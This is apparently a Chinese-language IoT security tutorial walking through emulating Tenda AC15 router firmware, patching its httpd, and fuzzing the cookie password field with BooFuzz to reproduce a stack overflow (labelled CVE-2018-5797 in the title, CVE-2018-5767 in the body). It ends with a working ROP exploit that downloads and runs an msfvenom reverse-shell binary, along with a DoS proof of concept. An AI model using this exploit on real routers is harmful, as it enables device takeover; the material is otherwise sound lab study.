《IOT 废物学习之路》(6)–BooFuzz 的简单使用,以 CVE-2018-5797 为例

Tenda AC15 固件中所存在的缓冲区溢出。由于没有对用户的输入进行限制,导致 sscanf 函数直接将用户的输入直接拷贝到栈上,从而造成了栈溢出漏洞。

分析固件(qemu-user)

使用 binwalk 对固件进行解压

1
binwalk -e  US_AC15V1.0BR_V15.03.1.16_multi_TD01.bin

image-20241005151023993

squashfs-root 文件夹是该路由器的文件系统,使用 qemu-arm-static 尝试启动 bin 下的 httpd

1
2
3
cp $(which qemu-arm-static) ./
sudo chroot . ./qemu-arm-static ./bin/httpd
sudo chroot . ./qemu-arm-static -g 1234 ./bin/httpd #调试模式

运行时程序卡住:

image-20241005151034956

到 IDA 中对 httpd 进行分析。

直接进行字符串定位

image-20241005151049632

发现两个需要注意的地方

image-20241005151100471

导致死循环的原因就是因为 check_network 函数判断失败导致进入 while 死循环。

所以如果想要正常继续执行 httpd 程序,需要修改两处。

  • 修改 check_network 使其不进入 while 循环
  • 修改 ConnectCfmtrue 使其进入到 if 中继续执行

所以只需要 patch 这两处分支跳转就行。

image-20241005151124275

修改之后

image-20241005151133038

反编译再看一下

image-20241005151144868

导出修改后的 httpd 文件

再次运行 httpd

image-20241005151156190

前面一些报错无关紧要,后面的 ip 地址明显有问题。

回到 IDA 中定位到 httpd listen 的位置:

image-20241005151204514

qemu-gdb 确定函数调用链

1
2
3
4
5
sudo chroot . ./qemu-arm-static -g 1234 ./bin/httpd
#新建终端
gdb-multiarch
b *0x1A36C
target remote :1234

image-20241005151223185

可以确定 sub_28388 调用了 sub_1A36C

image-20241005151231865

image-20241005151241664

再对 sub_28338 交叉引用,根据字符串判断是

image-20241005151251984

由于这个是 goahead,所以根据一些资料恢复一些符号表和结构体,可以知道这个函数事实上就是 tcp_timestamps。继续向上交叉引用,得到完整调用链:

main -> initwebs -> tcp_timestamps -> sub_28338 -> sub_1A36C -> printf

继续对 printfip 参数跟踪:

image-20241005151306567

发现是来自全局变量 g_lan_ip,最后跟踪到:

image-20241005151315756

动态调试一下,看一下 getIfIp 函数的返回值,发现是-1,进入到 if 语句里面了

image-20241005151324121

正常流程是进入到与 if 语句相对应的 else 语句。所以之前的初始化步骤有问题

image-20241005151335367

关联最多的是 GetValue 函数,它被定义在动态链接库 libCfm.so 中:

image-20241005151346913

先从 main 函数开头看,有一个 check_network,函数本体存在于 libcommon.so 中:

image-20241005151356566

其中 a1 传入的是

image-20241005151407926

逐步进入函数 j_check_network -> getLanIfName() -> get_eth_name(0) 查看:

image-20241005151417853

libChipApi.so 可以找到该函数的定义:

image-20241005151433096

传入的a1为0,所以需要自己创建一个虚拟网桥(Virtual Bridge)br0:

1
2
sudo brctl addbr br0
sudo ifconfig br0 192.168.2.3/24

重新启动:

image-20241005151503998

可以发现,ip是正确的。

image-20241005151518953

虽然能访问,但是并不能完全访问,根据./etc_ro/init.d/rcs

image-20241005151529030

路由器会在启动时将/webroot_ro/复制到/webroot/目录下。

同样执行一遍这个操作,再访问试一试:

image-20241005151542049

至此,成功搭建漏洞环境。

查看httpd的文件保护

image-20241005151555171

CVE-2018-5767漏洞存在于httpd的厂商自己实现的R7WebsSecturityyHandler函数中:

image-20241005151604062

这个固件并没有调用goahead自带的websSectureHandler而是调用R7websSectureHandler

这段代码的含义是首先寻找到password=字符串的位置,之后通过函数sscanf获取字符串password=;之间的字符串保存在v33中。由于v33定义的范围是128,超过128就会导致溢出。

解析的结果事实上就是cookie中的password

为了让fuzzerfuzz到崩溃点,POC需要满足以下条件:

image-20241005151616979

只要我们在请求中包含/goform/xxx就可以靠近漏洞点。可以拿/goform/zhu yuan来测试。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
import socket
import socks
import http
socks.set_default_proxy(socks.SOCKS5, "127.0.0.1", 2345) # socket代理
socket.socket = socks.socksocket

def main():
url = "http://192.168.2.2/goform/zhuyuan"
try:
cookie = {"Cookie":"password=" + "A"*501}
res = requests.get(url=url,cookies=cookie)
print(res.text)
except:
print("overflow!")

if __name__ == '__main__':
main()

由于httpd崩溃(DOS攻击)导致触发python异常:

image-20241005151643033

image-20241005151656842

curl --location:解析重定向之后的网页。

BooFuzz介绍

BooFuzz是一个由python编写的网路协议模糊测试框架。boofuzz提供了对于网络协议进行模糊测试的规范和功能函数。

BooFuzz框架介绍

1、四大组件:

  • Data Generation数据生成
  • Session会话管理
  • Agents代理
  • Utilities独立单元工具

环境搭建

boofuzz项目地址:GitHub - jtpereyda/boofuzz: A fork and successor of the Sulley Fuzzing Framework

boofuzz安装到python虚拟环境中:

1
2
3
4
5
6
7
8
sudo apt install python3-dev libffi-dev build-essential virtualenvwrapper
export WORKON_HOME=$HOME/Python-workhome
source /usr/share/virtualenvwrapper/virtualenvwrapper.sh
mkvirtualenv --python=$(which python3) boofuzz && pip install boofuzz
# 新建终端后需要执行如下两条命令启动虚拟环境,方便起见可以将它们追加到~/.bashrc中
【1】$ export WORKON_HOME=$HOME/Python-workhome
【2】$ source /usr/share/virtualenvwrapper/virtualenvwrapper.sh
$ workon boofuzz【进入虚拟环境】

执行以上命令进入python虚拟环境。

image-20241005151724321

boofuzz的版本为0.4.2image-20241005151733327

然后拉取cyberangel师傅的仿真docker环境:

1
docker pull ccr.ccs.tencentyun.com/cyberangel-public/iot-emu:tenda_ac15_cve-2018-5767

Docker(qemu-system)

启动容器:

1
sudo docker run -it --privileged -p 1234:22 c1687db529e0 /bin/bash

运行/root/run.sh启动环境:

image-20241005151750226

执行

1
ssh -D 2345 root@127.0.0.1 -p 1234

在本地开启端口转发,让docker暴露的1234端口转发到本地的2345端口。浏览器代理设置为socket

image-20241005151800259

最后在浏览器中访问http://192.168.2.2/main/html就能访问到路由器的管理页面了。流量的路径:虚拟机 -> Docker -> Qemu

  • 192.168.2.1docker内部ip
  • 192.168.2.2qemu的ip

这是docker内部运行的run.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#/bin/bash

//解压路由器固件
cd /root/firmware
rm -r ./_* # 删除之前解压的后的文件
binwalk -e *.bin # 重新解压路由器固件
cd _*/
pwd
tar czf squashfs-root.tar.gz ./squashfs-root && rm -r ./squashfs-root # 对文件系统进行打包
cd /root

# 启动 ssh 服务
service ssh start

# 配置网卡
tunctl -t tap0
ifconfig tap0 192.168.2.1/24

# 启动 http 服务
nohup python3 -m http.server 8000 1>&/dev/null & #启动http服务,方便之后下载tools目录下具有反弹shell功能的可执行文件msf

# 进入 qemu 镜像目录
cd /root/qemu-system/armhf/images

# 自动化docker容器与qemu交互脚本
/usr/bin/expect<<EOF
set timeout 10000
spawn qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic

expect "debian-armhf login:"
send "root\r"
expect "Password:"
send "root\r"

expect "root@debian-armhf:~# "
send "ifconfig eth0 192.168.2.2/24\r"

#expect "root@debian-armhf:~# "
#send "echo 0 > /proc/sys/kernel/randomize_va_space\r"

expect "root@debian-armhf:~# "
send "scp root@192.168.2.1:/root/firmware/_*/squashfs-root.tar.gz /root/squashfs-root.tar.gz\r"
expect {
"(yes/no)? " { send "yes\r"; exp_continue }
"password: " { send "cyberangel\r" }
}

expect "root@debian-armhf:~# "
send "tar xzf squashfs-root.tar.gz && rm squashfs-root.tar.gz\r"
expect "root@debian-armhf:~# "
send "mount -o bind /dev ./squashfs-root/dev && mount -t proc /proc ./squashfs-root/proc\r"

expect "root@debian-armhf:~# "
send "scp -r root@192.168.2.1:/root/tools /root/squashfs-root/tools\r"
expect {
"(yes/no)? " { send "yes\r"; exp_continue }
"password: " { send "cyberangel\r" }
}

expect "root@debian-armhf:~# "
send "chmod +x ./squashfs-root/tools/patch.sh && /bin/sh ./squashfs-root/tools/patch.sh\r"

expect "root@debian-armhf:~# "
send "chroot squashfs-root/ sh\r"
expect "# "
send "brctl addbr br0 && ifconfig br0 192.168.2.2/24 up\r"
expect "# "
send "/bin/httpd 1>/dev/null 2>&1 &\r"
expect "# "
send "sleep 1 && chmod +x tools/getlibc.sh && /bin/sh tools/getlibc.sh\r"

expect eof
EOF

qemu-system模拟的核心命令如下:

1
2
3
4
mount -o bind /dev ./squashfs-root/dev && mount -t proc /proc ./squashfs-root/proc
chroot squashfs-root/ sh
/bin/httpd
sleep 1 && chmod +x tools/getlibc.sh && /bin/sh tools/getlibc.sh # 获取/lib/libc.so的基地址

自动patch可执行文件的脚本(机器码):

1
2
3
4
5
#!/bin/bash

# patch connectcfm 和 check_network 的返回值为1 "mov r3, #1"
printf '\x01\x30\xa0\xe3' | dd of=/root/squashfs-root/bin/httpd bs=1 count=4 seek=151476 conv=notrunc
printf '\x01\x30\xa0\xe3' | dd of=/root/squashfs-root/bin/httpd bs=1 count=4 seek=151440 conv=notrunc

dockerhttp服务(8000)端口:

image-20241005151815503

fuzz漏洞点

使用的是boofuzz协议模糊测试工具。

官方手册:

1
https://boofuzz.readthedocs.io/en/stable/user/install.html

可以利用boofuzz中的库仿写请求。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
from boofuzz import *
import socket
import socks
socks.set_default_proxy(socks.SOCKS5, "127.0.0.1", 2345)
socket.socket = socks.socksocket


def check_response(target, fuzz_data_logger, session, *args, **kwargs):
# callback
fuzz_data_logger.log_info("Checking this response...")
fuzz_data_logger.log_info("We will receive 512 bytes data...")
try:
response = target.recv(512)
except:
fuzz_data_logger.log_fail("Unable to connect to target. Closing...")
target.close() # close this target (fuzzer's thread)
return

# if empty response
if not response:
fuzz_data_logger.log_fail("Empty response, target may be hung. Closing...")
target.close()
return

fuzz_data_logger.log_info("response check...\n" + response.decode())
target.close()
return


def main():
session = Session( # create a new session
target=Target(
connection=SocketConnection("192.168.2.2", 80, proto="tcp"),
),
post_test_case_callbacks=[check_response],
# post_test_case_callbacks (list of method)
# – The registered method will be called after each fuzz test case. Default None.
# so , check_response is callback function
)

s_initialize(name="Request") # initialize a new block request , the param named "name" is string type

with s_block("Request-Header"): # open and set a new block under the current request
'''
s_static(value: Any = None, name: str = None):在fuzz过程中不会突变的变量
s_string(value: str = "", size: int = None, padding: Any = b"\u0000", encoding: str = "ascii", fuzzable: bool = True, max_len: int = None, name: str = None) -> None
和static相似,但s_string更具扩展性,可以指定该数据在fuzz的过程中是否发生突变
'''
'''
Request Format:
GET /goform/cyberangel HTTP/1.1
Host: 192.168.2.2
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
'''
# Line 1
s_static("GET", name="Method") # set request method
s_static(" ", name="space-1-1")
s_static("/goform/zhuyuan") # set url
s_static(" ", name="space-1-2")
s_static("HTTP/1.1", name="HTTP_VERSION") # set http version
s_static("\r\n", name="Request-Line-CRLF-1") # each piece of data is backed by a "\r\n"

# Line 2
s_static("Host:")
s_static(" ", name="space-2-1")
s_static("192.168.2.2", name="IP address")
s_static("\r\n", name="Request-Line-CRLF-2")

# Line 3
s_static("User-Agent:", name="User-Agent")
s_static(" ", name="space-3-1")
s_static("Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0",name="User-Agent-Value")
s_static("\r\n", name="Request-Line-CRLF-3")

# Line 4
s_static("Accept:", name="Accept")
s_static(" ", name="space-4-1")
s_static("text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", name="Accept-Value")
s_static("\r\n", name="Request-Line-CRLF-4")

# Line 5
s_static("Accept-Language:", name="Accept-Language")
s_static(" ", name="space-5-1")
s_static("en-US,en;q=0.5",name="Accept-Language-Value")
s_static("\r\n", name="Request-Line-CRLF-5")

# Line 6
s_static("Accept-Encoding:", name="Accept-Encoding")
s_static(" ", name="space-6-1")
s_static("gzip, deflate", name="Accept-Encoding-Value")
s_static("\r\n", name="Request-Line-CRLF-6")

# Line 7
s_static("Connection:")
s_static(" ", name="space-7-1")
s_static("keep-alive", name="Connection state")
s_static("\r\n", name="Request-Line-CRLF-7")

'''
important
'''
# Line 8
'''
"Cookie: password=cyberangel"
'''
s_static("Cookie: ")
s_static("password=", name="key-password")
s_string("zhuyuan", fuzzable=True) # fuzz password
s_static("\r\n", name="Request-Line-CRLF-8")
# over
s_static("\r\n")
s_static("\r\n")


session.connect(s_get("Request"))
try:
session.fuzz() # if except, and the socket proxy has disconnected, httpd is crashed
except:
print("overflow!")

if __name__ == "__main__":
main()

新建终端,进入python虚拟环境启动boofuzz

image-20241005151848461

在第20轮程序崩溃

image-20241005151857993

fuzzer发送了大量变异后的字符串导致httpd程序崩溃。同目录下会生成一个boofuzz-results文件夹,日志保存在其中。

image-20241005151911628

image-20241005151923924

20fuzz的时候崩溃,说明第19轮发送的数据导致崩溃。

image-20241005151934284

EXP

利用就是溢出后执行system("/msf")并反弹shell

1
2
3
4
5
# https://github.com/VulnTotal-Team/IoT-vulhub/tree/master/baseImage/msf
# 使用 Metasploit生成的反向shell:
$ msfvenom -p linux/armle/shell_reverse_tcp LHOST=192.168.2.1 LPORT=31337 -f elf -o msf-arm
$ msfvenom -p linux/mipsle/shell_reverse_tcp LHOST=192.168.2.1 LPORT=31337 -f elf -o msf-mipsel
$ msfvenom -p linux/mipsbe/shell_reverse_tcp LHOST=192.168.2.1 LPORT=31337 -f elf -o msf-mips
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/python3
# 该脚本只在docker内部生效,懒,不想改了...

import requests
from pwn import *
from threading import Thread

cmd = b'wget http://192.168.2.1:8000/tools/msf -O /msf '
cmd += b'&& chmod 777 /msf '
cmd += b'&& /msf'

assert(len(cmd) < 255)

libc_base = 0x76de8000 # 记得换libcbase

system = libc_base + 0x5A270
mov_r0_ret_r3 = libc_base + 0x40cb8
pop_r3 = libc_base + 0x18298

payload = b'A'*(444) + b'.gif' + p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd

url = "http://192.168.2.2:80/goform/cyberangel"
cookie = {"Cookie": 'password='+payload.decode('latin1')}

def attack():
try:
requests.get(url, cookies=cookie)
except Exception as e:
print(e)

thread = Thread(target=attack)
thread.start()

p = listen(31337)
p.wait_for_connection()
log.success("getshell")
p.interactive()

thread.join()

image-20241005151948578

参考资料:

1
2
3
https://www.yuque.com/cyberangel/rg9gdm/nqk6wh
https://jackfromeast.site/2021-03/boofuzz-1.html
https://boofuzz.readthedocs.io/en/stable/user/install.html